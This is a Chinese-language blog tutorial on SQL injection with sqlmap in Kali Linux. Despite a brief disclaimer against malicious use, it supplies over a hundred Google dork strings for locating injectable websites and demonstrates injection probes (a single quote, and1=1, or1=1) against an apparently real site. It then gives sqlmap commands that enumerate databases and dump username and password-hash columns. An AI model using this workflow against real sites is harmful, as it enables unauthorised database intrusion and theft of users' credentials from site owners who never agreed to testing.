在KaliLinux下使用SQLmap進行滲透測試
在滲透測試過程中,對目標進行漏洞掃描的時候,掃描報告會提示目標有SQL注入漏洞,那在這個時候就需要我們手工對掃描報告當中的鏈接進行手工驗證。我們需要準備一個工具:SQLmap
SQLmap官方頁面
在使用SQLmap進行滲透之前,需要找到網站的注入點。
當給sqlmap這麼一個url的時候,它會:
1、判斷可注入的參數
2、判斷可以用那種SQL注入技術來注入
3、識別出哪種資料庫
4、根據用戶選擇,讀取哪些數據
sqlmap支持五種不同的注入模式:
1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
4、聯合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執行多條語句的執行時的注入。
0x00 SQL注入與SQLmap
SQL注入是一種代碼注入技術,SQL注入的成功必須藉助應用程序的安全漏洞,例如用戶輸入沒有經過正確地過濾(針對某些特定字元串)或者沒有特彆強調類型的時候,都容易造成異常地執行SQL語句。SQL注入是網站滲透中最常用的攻擊技術,但是其實SQL注入可以用來攻擊所有的SQL資料庫。在這個指南中我會向你展示在Kali Linux上如何藉助SQLMAP來滲透一個網站(更準確的說應該是資料庫),以及提取出用戶名和密碼信息。
SQLmap是一個開源的滲透測試工具,用於自動化偵測和實施SQL注入攻擊及滲透資料庫伺服器。SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL與Access等各種資料庫的SQL偵測和注入。
還有很重要的一點必須說明:不要去做惡意的破壞,想一想,你辛辛苦苦賺的錢被小偷偷了,你是什麼感受。將心比心一下,不要去破壞別人的財產。這是違法的行為。
0x01如何查找可注入的網站
a:利用Google Dorks字元串找可注入的網站
inurl:item_id=
inurl:review.php?id=
inurl:hosting_info.php?id=
inurl:newsid=
inurl:iniziativa.php?in=
inurl:gallery.php?id=
inurl:trainers.php?id=
inurl:curriculum.php?id=
inurl:rub.php?idr=
inurl:news-full.php?id=
inurl:labels.php?id=
inurl:view_faq.php?id=
inurl:news_display.php?getid=
inurl:story.php?id=
inurl:artikelinfo.php?id=
inurl:index2.php?option=
inurl:look.php?ID=
inurl:detail.php?ID=
inurl:readnews.php?id=
inurl:newsone.php?id=
inurl:index.php?=
inurl:top10.php?cat=
inurl:aboutbook.php?id=
inurl:profile_view.php?id=
inurl:newsone.php?id=
inurl:material.php?id=
inurl:category.php?id=
inurl:event.php?id=
inurl:opinions.php?id=
inurl:publications.php?id=
inurl:product-item.php?id=
inurl:announce.php?id=
inurl:fellows.php?id=
inurl:sql.php?id=
inurl:rub.php?idr=
inurl:downloads_info.php?id=
inurl:index.php?catid=
inurl:galeri_info.php?l=
inurl:prod_info.php?id=
inurl:news.php?catid=
inurl:tekst.php?idt=
inurl:shop.php?do=part&id=
inurl:index.php?id=
inurl:newscat.php?id=
inurl:productinfo.php?id=
inurl:news.php?id=
inurl:newsticker_info.php?idn=
inurl:collectionitem.php?id=
inurl:index.php?id=
inurl:rubrika.php?idr=
inurl:band_info.php?id=
inurl:trainers.php?id=
inurl:rubp.php?idr=
inurl:product.php?id=
inurl:buy.php?category=
inurl:offer.php?idf=
inurl:releases.php?id=
inurl:article.php?ID=
inurl:art.php?idm=
inurl:ray.php?id=
inurl:play_old.php?id=
inurl:title.php?id=
inurl:produit.php?id=
inurl:declaration_more.php?decl_id=
inurl:news_view.php?id=
inurl:pop.php?id=
inurl:pageid=
inurl:select_biblio.php?id=
inurl:shopping.php?id=
inurl:games.php?id=
inurl:humor.php?id=
inurl:productdetail.php?id=
inurl:page.php?file=
inurl:aboutbook.php?id=
inurl:post.php?id=
inurl:newsDetail.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:viewshowdetail.php?id=
inurl:gallery.php?id=
inurl:fiche_spectacle.php?id=
inurl:clubpage.php?id=
inurl:article.php?id=
inurl:communique_detail.php?id=
inurl:memberInfo.php?id=
inurl:show.php?id=
inurl:sem.php3?id=
inurl:section.php?id=
inurl:staff_id=
inurl:kategorie.php4?id=
inurl:theme.php?id=
inurl:newsitem.php?num=
inurl:news.php?id=
inurl:page.php?id=
inurl:readnews.php?id=
inurl:index.php?id=
inurl:shredder-categories.php?id=
inurl:top10.php?cat=
inurl:faq2.php?id=
inurl:tradeCategory.php?id=
inurl:historialeer.php?num=
inurl:show_an.php?id=
inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=
inurl:preview.php?id=
inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=
inurl:loadpsb.php?id=
inurl:transcript.php?id=
inurl:forum_bds.php?num=
inurl:opinions.php?id=
inurl:channel_id=
inurl:game.php?id=
inurl:spr.php?id=
inurl:aboutbook.php?id=
inurl:view_product.php?id=
inurl:pages.php?id=
inurl:preview.php?id=
inurl:newsone.php?id=
inurl:announce.php?id=
inurl:loadpsb.php?id=
inurl:sw_comment.php?id=
inurl:clanek.php4?id=
inurl:pages.php?id=
inurl:news.php?id=
inurl:participant.php?id=
inurl:avd_start.php?avd=
inurl:download.php?id=
inurl:event.php?id=
inurl:main.php?id=
inurl:product-item.php?id=
inurl:review.php?id=
inurl:sql.php?id=
inurl:chappies.php?id=
inurl:material.php?id=
inurl:read.php?id=
inurl:clanek.php4?id=
inurl:prod_detail.php?id=
inurl:announce.php?id=
inurl:viewphoto.php?id=
inurl:chappies.php?id=
inurl:article.php?id=
inurl:read.php?id=
inurl:person.php?id=
inurl:viewapp.php?id=
inurl:productinfo.php?id=
inurl:viewphoto.php?id=
inurl:showimg.php?id=
inurl:rub.php?idr=
inurl:view.php?id=
inurl:galeri_info.php?l=
inurl:website.php?id=
b:驗證網站是否可以進行SQL注入
在利用Google Dorks進行關鍵字搜索之後,也許會得到很多類似的結果,那怎麼驗證這些站點是否存在注入呢,一個簡單粗暴的方法是:在鏈接參數後面加單引號,然後回車,如果返回一個SQL錯誤,則存在注入。
當然,現在更多使用的是and1=1,or1=1,or1=2
舉例測試:
這是一個疑似存在注入點的網站,我們現在給鏈接後面加上單引號,看看會發生什麼。
%27其實就是單引號,瀏覽器對單引號做了一個轉義。可以看到此頁面是存在SQL注入的,接下來測試一下and1=1,or1=1,看看會發生什麼。
and1=1
Or1=1,or1=2
現在已經確認該鏈接是存在SQL注入的,那麼這時候就該SQLmap上場了。
0x02SQLmap大顯身手
a:列出鏈接所在的資料庫
sqlmap -u 「url」 –dbs
b:列出資料庫中的表
sqlmap -u 「url」 -D DatebaseName –tables
c:列出數據表中的列
sqlmap -u 「url」 -D Datebase -T TableName–columns
以下操作涉及網站敏感數據,就不截圖了,看官們只要知道怎麼用就好啦。
d:從資料庫表的列中列出用戶名(前提是表中有用戶名)
sqlmap -u 「url」 -D DatabaseName -TTableName -C ColumnsName user_login –-dump
e:提取用戶密碼
sqlmap -u 「url」 -DDatabaseName -T TableName -C ColumnsName user_password –dump
進行到這一步,我們就得到了密碼欄位的值,不過是HASH值,在KaliLInux中有判別HASH值的工具Hash-identifier,我們只要打開那個工具根據提示提供HASH值就可以了。
SQLmap參數說明:
-T:指定要列出的表 -columns:列出表中的列
-C:指定表中的列名 -dump:導出結果
0x03總結
在滲透測試活動當中的漏洞掃描環節,不要太信任你的某一個掃描器,最好多用幾個掃描器對目標進行掃描,對比他們的掃描報告。
參考鏈接:
http://www.anquan.us/static/drops/tips-2113.html
https://www.exehack.net/4955.html
推薦閱讀: